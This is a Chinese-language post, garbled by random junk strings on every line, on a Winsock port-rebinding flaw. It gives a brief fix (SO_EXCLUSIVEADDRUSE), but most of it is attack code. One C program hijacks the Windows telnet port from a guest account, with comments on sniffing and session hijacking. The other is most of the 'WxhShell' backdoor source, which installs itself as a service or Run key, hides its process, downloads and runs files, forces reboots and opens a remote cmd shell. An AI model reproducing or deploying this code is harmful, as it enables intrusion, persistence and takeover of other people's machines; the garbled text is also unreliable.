在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
n*D-01vYP s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
@`^+XP K\ M{<cqxY saddr.sin_family = AF_INET;
(sHqzWh y0k*iS
e saddr.sin_addr.s_addr = htonl(INADDR_ANY);
)7l+\t e)]9u$x bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
k7z;^:
K[!OfP 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
SV0E7qX 71_{FL8 这意味着什么?意味着可以进行如下的攻击:
!o1{. V9q =UE/GTbl 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
G?AZ%Yx 9~2}hXm; 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
aVNBF` DK;p6_tT 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
=Yg36J4[ 7p}J]!Z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
CZe0kH^:{ RY3ANEu+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
/Ut h#s: l=,\ h& 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
2oyTS*2u_& >qk[/\^O 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
#Mkwd5S|L [%7y !XD #include
ZG:#r\a #include
(99P9\[p #include
|\;oFuCv## #include
6A&e2K> A
DWORD WINAPI ClientThread(LPVOID lpParam);
/`McKYIP int main()
K<TVp;N {
WDQtj$e+ WORD wVersionRequested;
Y /$`vgqs DWORD ret;
=@q 9,H WSADATA wsaData;
62GP1qH9 BOOL val;
?a?i8rnWo SOCKADDR_IN saddr;
l$N
b1& SOCKADDR_IN scaddr;
6bF?2 OC int err;
sLrSi SOCKET s;
Z
M_
6A1 SOCKET sc;
ywWF+kR_ int caddsize;
RZ 4xR HANDLE mt;
{G$I|<MD2T DWORD tid;
VO r*YB& wVersionRequested = MAKEWORD( 2, 2 );
1henQiIO err = WSAStartup( wVersionRequested, &wsaData );
.@KpN*`KH if ( err != 0 ) {
golr,+LSo printf("error!WSAStartup failed!\n");
{@, } M return -1;
^wN x5t }
#2l6'gWE0 saddr.sin_family = AF_INET;
Fb#.Gg9b> *W
aL}i(P1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
GO0Spf_Gh AT Dm$ * saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
U
?'$E\ saddr.sin_port = htons(23);
E`s9SE if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3jR,lEJyj {
GPlAQk printf("error!socket failed!\n");
:?W {vV return -1;
OjO$.ecT }
jyQBx val = TRUE;
;Yo9e~
//SO_REUSEADDR选项就是可以实现端口重绑定的
/^ *GoB if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
3 d
$ {
_%^t[4)q printf("error!setsockopt failed!\n");
\)Jv4U\; return -1;
&* GwA }
!_0kn6S5 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
LoZ8;VU //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
mw0#Dhyy1= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
jusP
aAdW h<;kj#qbb if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
nn><
k" {
R-nC+)^ ret=GetLastError();
uMOm<kn printf("error!bind failed!\n");
%SORs(4 return -1;
7
+A-S9P) }
)P4#P2 listen(s,2);
{.F``2 while(1)
D~ _|`D5WK {
`s74g0h caddsize = sizeof(scaddr);
kB_u U !G //接受连接请求
]=ar&1}J sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
.C=&`;Vs if(sc!=INVALID_SOCKET)
Y^5X> {
obWBX' mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
dv3+x\`9 if(mt==NULL)
[ox!MQ+s {
{6MLbL{ printf("Thread Creat Failed!\n");
/?X1>A:* break;
K|*Cka{ }
X&qRanOP;z }
JmN,:bI CloseHandle(mt);
w6tb vhcmU }
jRIjFn|~{Y closesocket(s);
pl62mp! WSACleanup();
[XFZ2'OO return 0;
1o)Vzv }
SR>Sq2cW0 DWORD WINAPI ClientThread(LPVOID lpParam)
47I5Y5 {
mtDRF'>P: SOCKET ss = (SOCKET)lpParam;
e
iS~*@ SOCKET sc;
x" 21 Jh unsigned char buf[4096];
~/?JRL= SOCKADDR_IN saddr;
~:7AHK2 long num;
PRmZ3 DWORD val;
=uKGh`^[ DWORD ret;
_i [.5 //如果是隐藏端口应用的话,可以在此处加一些判断
: sIZ+3 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
G#V5E)Dx saddr.sin_family = AF_INET;
w`XwW#!}@$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Yo0%5 noz saddr.sin_port = htons(23);
7Cf%v`B4D if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1lRqjnzve& {
6S?a57;&W printf("error!socket failed!\n");
^Q8m)0DP return -1;
n=v4m_e }
E\!:MCL val = 100;
%8iA0t+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
y$@d%U*rW^ {
I\V33Nd ret = GetLastError();
Sd'Meebu return -1;
$IUP; }
I0ycLx if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:@g@jcbYq` {
#$V`%2> ret = GetLastError();
=QEg~sD^)s return -1;
i gzISYC_ }
M52kau if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
J{72%S {
.K^'Q|? printf("error!socket connect failed!\n");
2 cfzLW( closesocket(sc);
]7kq@o/7 closesocket(ss);
;cZ9C 1 return -1;
}8WpX2U }
#r 1
$=GY while(1)
&*g5kh{ {
S8j;oJ2d //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
u&l2s&i //如果是嗅探内容的话,可以再此处进行内容分析和记录
EK.L>3 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
}]sI?&xB num = recv(ss,buf,4096,0);
><iE VrpN if(num>0)
#I9|>XE1 send(sc,buf,num,0);
DoWY*2E else if(num==0)
bTC2Ya break;
)>at]mH num = recv(sc,buf,4096,0);
BXueOvO8 if(num>0)
A`u04Lm7 send(ss,buf,num,0);
}4xxge?r else if(num==0)
THQW8 V break;
oMda)5 & }
{B|U8j[ closesocket(ss);
S4<@ji closesocket(sc);
|
(P%< return 0 ;
P,AS`=z }
9\TvX!)h `h5HA-ud `g%]z@'+? ==========================================================
!$h%$se 18w[T=7) 下边附上一个代码,,WXhSHELL
Zx25H"5j Faa:h# ==========================================================
Q"8)'dL' uR)itmc? #include "stdafx.h"
'xZxX3 # l~d #include <stdio.h>
,: w~- #include <string.h>
[K13Jy+ #include <windows.h>
O89<IXk #include <winsock2.h>
g2C-)*'{yh #include <winsvc.h>
`ZN@L<I6 #include <urlmon.h>
=Z/'|;Vd_x +YT/od1t7 #pragma comment (lib, "Ws2_32.lib")
hX)r%v: #pragma comment (lib, "urlmon.lib")
=pWpHbB. /0SG #define MAX_USER 100 // 最大客户端连接数
&{&lCBN #define BUF_SOCK 200 // sock buffer
H*|Bukgt/M #define KEY_BUFF 255 // 输入 buffer
3]'=s>UO>^ ni@D7:h #define REBOOT 0 // 重启
v)N6ZOj*C #define SHUTDOWN 1 // 关机
i#lvt#2J0 m'k`p5[=h #define DEF_PORT 5000 // 监听端口
&g,K5at R2Tvo?xI7 #define REG_LEN 16 // 注册表键长度
?-<t-3%hyV #define SVC_LEN 80 // NT服务名长度
!=&]#-;b <)Kjf/x // 从dll定义API
T'XAcH typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
oiO3]P]P typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
&\sg~ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
H?40yu2m5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
O,qR$#l
iBJ*6orz // wxhshell配置信息
*sJx0<!M} struct WSCFG {
F&lc8 int ws_port; // 监听端口
Sc Gmft3A char ws_passstr[REG_LEN]; // 口令
9Lz)SYd int ws_autoins; // 安装标记, 1=yes 0=no
qCgP8U/jv char ws_regname[REG_LEN]; // 注册表键名
z('93vsO char ws_svcname[REG_LEN]; // 服务名
nS?HH6H char ws_svcdisp[SVC_LEN]; // 服务显示名
?RWd"JTGue char ws_svcdesc[SVC_LEN]; // 服务描述信息
uNXh"? char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+6<MK; int ws_downexe; // 下载执行标记, 1=yes 0=no
LDV{#5J char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Zpb3>0<R char ws_filenam[SVC_LEN]; // 下载后保存的文件名
m)_1->K 2l5@gDk5 };
[%l+
C~m 58e{WC // default Wxhshell configuration
Zy*}C,Z struct WSCFG wscfg={DEF_PORT,
3{M IBMA "xuhuanlingzhe",
e@]cI/j 1,
oE)c8rE "Wxhshell",
oK5(,8
(4 "Wxhshell",
8GlH)J+kq "WxhShell Service",
Rz=]KeZu "Wrsky Windows CmdShell Service",
|w~zh6~ "Please Input Your Password: ",
rLL;NTN+/ 1,
^D4 b\mF "
http://www.wrsky.com/wxhshell.exe",
=Bo0Oei "Wxhshell.exe"
SVq7qc9K? };
m}uF&|5 l'16B^ // 消息定义模块
=j;o,
J:( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/u:Sn=SPd char *msg_ws_prompt="\n\r? for help\n\r#>";
3}twWnQZJ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
|xKB>< char *msg_ws_ext="\n\rExit.";
g1zqh, char *msg_ws_end="\n\rQuit.";
Tg:NeAN7( char *msg_ws_boot="\n\rReboot...";
3;:xEPb._6 char *msg_ws_poff="\n\rShutdown...";
4zf#zJw char *msg_ws_down="\n\rSave to ";
H8\{GGg fI$,?> char *msg_ws_err="\n\rErr!";
%< j=& char *msg_ws_ok="\n\rOK!";
kI[EG<N1k bjT0Fi0- char ExeFile[MAX_PATH];
}_?7k0EZ@ int nUser = 0;
BMX x(W] HANDLE handles[MAX_USER];
&OzJ^G\o int OsIsNt;
M$&>"%Oi :cynZab SERVICE_STATUS serviceStatus;
Ci*TX SERVICE_STATUS_HANDLE hServiceStatusHandle;
["L?t ^*G R*yB); p // 函数声明
K4RjGSaF int Install(void);
;( 2uQ#Y int Uninstall(void);
V;:A& int DownloadFile(char *sURL, SOCKET wsh);
b/5~VY*T int Boot(int flag);
tQl= void HideProc(void);
q0c)pxD%` int GetOsVer(void);
uwQ4RYz int Wxhshell(SOCKET wsl);
,MvvW{EY void TalkWithClient(void *cs);
MPL2#YU/a int CmdShell(SOCKET sock);
1}ToR= int StartFromService(void);
\'p7,F{:>5 int StartWxhshell(LPSTR lpCmdLine);
W}=2?vHV= EvECA,!i VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
y4?>5{`W VOID WINAPI NTServiceHandler( DWORD fdwControl );
uPo>?hpq+ n--`zx-[' // 数据结构和表定义
RgRcW5VxK SERVICE_TABLE_ENTRY DispatchTable[] =
3t_5Xacj {
X*Q7Yu {wscfg.ws_svcname, NTServiceMain},
w^p2XlQ< {NULL, NULL}
}Ql;% 7 };
s[s^z<4G 9n%W-R. // 自我安装
ljf9L:L int Install(void)
]g)%yuox9F {
r}5GJ|p0 char svExeFile[MAX_PATH];
1Gqtd^*; HKEY key;
dl;A'/(t strcpy(svExeFile,ExeFile);
|ITg-t UNAuF8>K // 如果是win9x系统,修改注册表设为自启动
B " B if(!OsIsNt) {
^|\?vA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&WRoNc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.-34g5 RegCloseKey(key);
?<}qx`+%Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.ZJh-cd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
e| l?NXRX RegCloseKey(key);
2'}2r ~6 return 0;
=VSieh }
{Y/ }
02+^rqIx5 }
r-0
7!A else {
1%:A9%O)t Ud9\;Qse // 如果是NT以上系统,安装为系统服务
]E3g8?L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
;kF p)*i if (schSCManager!=0)
23fAc"@ B {
SwL\=nq+~ SC_HANDLE schService = CreateService
EXi+pm (
q_K1L schSCManager,
2>r.[ wscfg.ws_svcname,
_HL3XT wscfg.ws_svcdisp,
[&4y@ SERVICE_ALL_ACCESS,
tw(2V$J SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
%B?5l^W@ SERVICE_AUTO_START,
z>&D~0 SERVICE_ERROR_NORMAL,
z&:[.B svExeFile,
u,]yd* NULL,
G?g7G,|d NULL,
Z:OO|x NULL,
KWY G\#S0] NULL,
^49moC- NULL
g[n8N{s );
Lr~K3nb if (schService!=0)
?t"PawBWE {
3HiW1*5W CloseServiceHandle(schService);
lt]U?VZ CloseServiceHandle(schSCManager);
p?h;Sv/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
INT2i8oU strcat(svExeFile,wscfg.ws_svcname);
zJy{Ry[Sb if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
%)e+w+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
*~"`&rM( RegCloseKey(key);
&ar}6eO return 0;
6]3ZUH; }
:tgTYIF }
?|/}~nj7 CloseServiceHandle(schSCManager);
{V&7JZl,/ }
n"
~*9' }
,ym;2hJ -$q/7,os return 1;
Rb0{t[IU }
LKZI@i) }X?*o`sW // 自我卸载
aVb]H0 int Uninstall(void)
*l^'v9
{
525 >=h HKEY key;
pSP_cYa#(# ]3,0
8JW= if(!OsIsNt) {
)X/Faje if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
CvJm7c RegDeleteValue(key,wscfg.ws_regname);
ZL>V9UWN RegCloseKey(key);
:&%;s*-9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#Q"vwek RegDeleteValue(key,wscfg.ws_regname);
Hn~1x'$ RegCloseKey(key);
6b|`[t return 0;
ChGM7uu2 }
gK( 4<PO' }
!O-+h0Z }
THp `!l else {
Y Pc< <7^~r(DP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Zy%Z]dF if (schSCManager!=0)
yDC97#%3u {
,Aii>D] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Uk9g^\H<D if (schService!=0)
GP$Y4*y/ {
#77UKYj2L- if(DeleteService(schService)!=0) {
U VKN#"_{ CloseServiceHandle(schService);
^4[[+r CloseServiceHandle(schSCManager);
Q(6(Scp{ return 0;
(ZK >WoV }
jhG7sS| CloseServiceHandle(schService);
(0Cszm. }
hl:eF:'hm CloseServiceHandle(schSCManager);
{1%ZyY }
>B
}
v~Qy{dn
P D3{lyi|8 return 1;
Yn>zR I }
<^Tj}5)n m #QI*R
XP // 从指定url下载文件
0 l@P]_qq` int DownloadFile(char *sURL, SOCKET wsh)
;%<4U^2 {
Y ,yaB)&Ih HRESULT hr;
@45 H8|:k char seps[]= "/";
Ji[g@# char *token;
g-FZel
char *file;
Ak Tw?v' char myURL[MAX_PATH];
H\mVK!](D char myFILE[MAX_PATH];
%#9 ~V EC'bgFe strcpy(myURL,sURL);
0Q >|s_ token=strtok(myURL,seps);
E+zn\v while(token!=NULL)
fJ2{w[ne {
z-5#bOABW file=token;
0)5Sx /5' token=strtok(NULL,seps);
17)M.(qmuP }
fm>K4\2 ]F;]<_ GetCurrentDirectory(MAX_PATH,myFILE);
2hJ3m+N^ strcat(myFILE, "\\");
, ~xU>L^ strcat(myFILE, file);
ssITe.,ny send(wsh,myFILE,strlen(myFILE),0);
>` QX
xTn send(wsh,"...",3,0);
g{hA,-3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
[Z\1"m if(hr==S_OK)
?w/nZQWi return 0;
x
5Dt5Yp"o else
{Ch"zuPX return 1;
F |81i$R +c`C9RXk }
~4MjJKzA RCYbRR4y // 系统电源模块
yQ{_\t1Wd int Boot(int flag)
[9om"' {
P&0cF{ HANDLE hToken;
lhl0 TOKEN_PRIVILEGES tkp;
Ko)T>8: T zYgH if(OsIsNt) {
43=-pyp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
?]D+H%3[$i LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
#0^3Wm`X; tkp.PrivilegeCount = 1;
\BaN5+B6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
l0\>zWLZZ9 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
xKST-:c + if(flag==REBOOT) {
P=[x!}.I if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
H)T# R? return 0;
S\g7wXH }
*/dh_P<Yj else {
Y~hd<8 ~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-^Km}9g return 0;
`AHNk7 t= }
H0 n@kKr }
W?J*9XQ` else {
ioa_AG6B if(flag==REBOOT) {
<VR&=YJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
G!LNP&~ return 0;
j_uY8c>3\q }
PB<Sc>{U else {
N|d.!Q;V.y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
a 8hv .43 return 0;
(Zn3-t* }
q\y# }
Y_3YO2K] `[ ` *@O(y return 1;
A;j$rGx }
FJ,\?ooGf *5'6E' // win9x进程隐藏模块
>\x_"oR void HideProc(void)
G%8)6m'3 {
|DPpp/ _&Uo|T HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
M(WOxZ8 if ( hKernel != NULL )
+6)kX4 {
VueQP| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
@1-GPmj- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
m *bKy;'8 FreeLibrary(hKernel);
qMdtJ(gq }
*o\Y~U-so dms:i)L2 return;
zV(tvt }
i~Ob( YIH [(P[qEY // 获取操作系统版本
<\9Ijuq}k
int GetOsVer(void)
\
NSw<. {
~v(M6dz~vk OSVERSIONINFO winfo;
3g#=sd!0O@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
=']}; GetVersionEx(&winfo);
O{cGk:
y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
C`~4q<W' return 1;
F;&fx( else
9k+&fyy return 0;
(T#(A4:6S }
dYew7 ;0Ct\ [eh // 客户端句柄模块
OG?j6qhpl int Wxhshell(SOCKET wsl)
tqwk?[y}+l {
e5>5/l]jsg SOCKET wsh;
L!b0y7yR struct sockaddr_in client;
k5%0wHpk = DWORD myID;
MV;Y?%> GKsL~;8" while(nUser<MAX_USER)
D7_Hu'y<o {
Jn@Mbl int nSize=sizeof(client);
cM<hG:4%wX wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
0@e}hv; if(wsh==INVALID_SOCKET) return 1;
{Fp`l\, s8yTK2v2\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
}!yD^:[5 if(handles[nUser]==0)
yc%E$g closesocket(wsh);
!%RJC,X else
#9hXZr/8 nUser++;
#nf%ojh }
QOh w WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
mLk6!&zN e<O;pM: return 0;
lF}$`6 }
>upXt? Aiks>Cyi23 // 关闭 socket
~ut& U void CloseIt(SOCKET wsh)
ug6f
{
tp0!,ne* closesocket(wsh);
e"s {_V nUser--;
Yr"!&\[oz ExitThread(0);
q{De&Bu }
",aT<lw. 9p\wTzA // 客户端请求句柄
6|9g4@Hy void TalkWithClient(void *cs)
;LF)u2x= {
5Ckk5b C>`.J_N SOCKET wsh=(SOCKET)cs;
9*TS90>a char pwd[SVC_LEN];
ox\B3U%`p} char cmd[KEY_BUFF];
&W)+8N,L char chr[1];
[;IDTo!<> int i,j;
Nvx)H(8F mcz(,u} while (nUser < MAX_USER) {
c2\rjK &t*8oNwSs if(wscfg.ws_passstr) {
TH(Lzrbg if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Z*vpQBbu //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
S`2mtg //ZeroMemory(pwd,KEY_BUFF);
/,uSCITD i=0;
Gkodk[VuLs while(i<SVC_LEN) {
pT
ocqJ22 :9x084ESR) // 设置超时
`3sy>GU? fd_set FdRead;
[nN\{"~O struct timeval TimeOut;
\Sq"3_m4T FD_ZERO(&FdRead);
Vr/` \441 FD_SET(wsh,&FdRead);
ZXsY-5$#d- TimeOut.tv_sec=8;
JW% /^' TimeOut.tv_usec=0;
94'k7_q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
`r'0"V if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
RP|>&I /:Z~"Q*r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
_8NEwwhc pwd
=chr[0]; ;1R?9JN"
if(chr[0]==0xd || chr[0]==0xa) { X8,7_D$
pwd=0; %g]$Vfpy
break; l#5~t|\
} B::4Qme
i++; LpiHoavv
} 7$1fy0f[l
S`W'G&bCj
// 如果是非法用户,关闭 socket a$xeiy9
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iKF$J3a\2f
} I", &%0ycm
[ n0##/
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _@BRpLs:4
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); * Y%<b86U
XYK1-m}2
while(1) { rt 3f7 s*
f- k|w%R@
ZeroMemory(cmd,KEY_BUFF); { /F rs*AF
Mf;|z0UX
// 自动支持客户端 telnet标准 Uaus>Frx.T
j=0; =YXe1$ $
while(j<KEY_BUFF) { j*eUF-J1
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4[LLnF--
cmd[j]=chr[0]; ElEv(>G*
if(chr[0]==0xa || chr[0]==0xd) { #LN5&i;s
cmd[j]=0; !sfXq"F
break; 8z."X$
} 7|+|\7l#
j++; $TD~k;
} ~$&:NB1~q
$KwI}>E4
// 下载文件 w PG1P'w;
if(strstr(cmd,"http://")) { LL= Z$U
$
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?u_gXz;A
if(DownloadFile(cmd,wsh)) xb+RRTgj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qLQ <1>u
else kvW|=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BrlzN='j}
} cQ3W;F8|n
else { n*vTVt)dJ
H{\.g=01
switch(cmd[0]) { E(QZ!'%K+m
PJxak3
// 帮助 )h>\05|T
case '?': { Z>(r9R3{
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z.2r@Psk
break; (|0.m8D~D
} E ;BPN
// 安装 sJ))<,e5I
case 'i': { [K cki+
if(Install()) V>b2b5QAH,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }J ei$0x
else mQd4#LJ_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W>5vRwx00
break; ,hpH!J'5f/
} e2]4a3
// 卸载 *#&k+{a^2
case 'r': { |^7f\.oF
if(Uninstall()) 8sN#e(@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V=j-Um;
else gk!E$NyE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7|&e[@B
break; X,C*qw@
} B :.@Qi^
// 显示 wxhshell 所在路径 CQ6'b,L&
case 'p': { .]W;2G
char svExeFile[MAX_PATH]; q"gqO%Wb|
strcpy(svExeFile,"\n\r"); qP~WEcH`[
strcat(svExeFile,ExeFile); ,?l~rc
send(wsh,svExeFile,strlen(svExeFile),0); _j:UGMTi(U
break; ;{<aA 5
} q,[k7&HS
// 重启 +h0PR?
case 'b': { s kN9O"^A
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $> "J"IX
if(Boot(REBOOT)) :ozV3`%$(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q~Ay8L+
else { v,/[&ASz
closesocket(wsh); 2v0!` &?M{
ExitThread(0); ~I{EE[F>qL
} 9T(L"9r-e
break; ;B&^yj&;
} BjJ,"sT
// 关机 K)\(wxv
case 'd': { r55qmPhg
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z;i4N3-:
if(Boot(SHUTDOWN)) &&[zT/]P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Bc>IO
else { D`6iDit
closesocket(wsh); ldA!ou7
ExitThread(0); QX[Djz0H8
} n[!;yO
break; ;Vg^!]LL#
} 1EVfowIl
// 获取shell \)ip>{WG
case 's': { =96G8hlT
CmdShell(wsh); Zp?4uQ)[W
closesocket(wsh); 7ftR4
ExitThread(0); 8wr8:(Y$
break; \gLxC
} k`Nyi)AGe
// 退出 lC0~c=?J
case 'x': { w/ TKRCO3
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l , ..5
CloseIt(wsh); qu_)`wB
break; u*2fP]n
} kw*)/$5]
// 离开 P0^c?s"I
case 'q': { 8{dEpV*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); /Rj#sxtdw
closesocket(wsh); }g~g50ci
WSACleanup(); 3y99O
$EAc
exit(1); KU-'+k2s;p
break; 11@]d]v ,
} Q]@c&* _|
} <3 A0={En
} z
v>Oh#
(S`6Q
// 提示信息 +b^]Pz5
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NUCiY\td
} 1BJ<m5/1%
} 6B0#4Qrv
F|>05>8
return; |( G2K'Ab
} vA=Z=8
yGxv?%%2
// shell模块句柄 ow$q7uf
int CmdShell(SOCKET sock) kY"KD22a
{ F$Hx`hoy
STARTUPINFO si; @Br
{!#Wf
ZeroMemory(&si,sizeof(si)); u:@U
$:sZ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y25^]ON*\^
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #02Kdo&Vy
PROCESS_INFORMATION ProcessInfo; ?]c+j1i
char cmdline[]="cmd"; 8V9[a*9
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \q "N/$5{f
return 0; ef=K_,
_
} <:&de8bT
>{C\H.N
// 自身启动模式 gY(1,+0-
int StartFromService(void) `0{ S3v
{ 5,1{Tv`
typedef struct U&UKUACn"
{ 44\cI]!{
